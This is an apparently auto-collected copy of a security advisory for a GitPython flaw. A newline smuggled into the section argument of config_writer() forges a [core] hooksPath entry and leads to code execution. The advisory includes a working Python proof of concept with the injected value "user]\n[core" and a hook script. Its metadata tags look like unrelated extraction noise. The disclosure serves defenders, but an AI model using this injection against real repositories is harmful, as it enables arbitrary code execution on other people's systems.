---
schema_version: '1.0'
id: security-20260711-fad306
title: 'CVE-2026-67326: GitPython: Newline injection in config_writer() section parameter
  bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath'
url: https://osv.dev/vulnerability/GHSA-mv93-w799-cj2w
url_hash: fad306f556fb307381d28c3ec0af94ad99ae024e0aa0f86a3871a4a2b627d9db
canonical_url: https://osv.dev/vulnerability/GHSA-mv93-w799-cj2w
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-67326
- GHSA-mv93-w799-cj2w
- severity:CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
- gitpython
- PyPI
lang: en
published_at: '2026-05-08T23:19:02Z'
fetched_at: '2026-07-11T06:37:17Z'
updated_at: '2026-08-02T07:21:57Z'
status: published
content_hash: 15d133188fbe2d9331a364f19a43c1b624605436b41eb4ab3d242d67ed2c0f9d
content_changed_at: '2026-08-02T07:21:46.191342Z'
license_note: full
summary: 'GitPython: Newline injection in config_writer() section parameter bypasses
  CVE-2026-42215 patch, enabling RCE via core.hooksPath'
summary_source: rss
summary_en: 'GitPython: Newline injection in config_writer() section parameter bypasses
  CVE-2026-42215 patch, enabling RCE via core.hooksPath'
entities:
- name: ElectricVehicle
  type: artifact
- name: PyPI
  type: artifact
related_auto:
- name: Claude Mythos
  type: creature
  weight: 1.0
---

# CVE-2026-67326: GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

## TL;DR
GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

## Key Points
- cve / CVE-2026-67326 / GHSA-mv93-w799-cj2w / severity:CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H / gitpython / PyPI

## Details
**Severity:** CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
**Advisory:** GHSA-mv93-w799-cj2w (CVE-2026-67326)

**Affected (your watchlist):**
- `PyPI:gitpython` 3.1.46 → fixed in 3.1.50 [docker/docker-llmwiki]

**Details:**
Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

```python
  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self
```

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

```python
  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed
```

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

**References:**
- https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w
- https://github.com/advisories/GHSA-rpm5-65cw-6hj4
- https://github.com/gitpython-developers/GitPython

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-mv93-w799-cj2w_

## Source
元記事: [CVE-2026-67326: GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath](https://osv.dev/vulnerability/GHSA-mv93-w799-cj2w) — published 2026-05-08T23:19:02Z
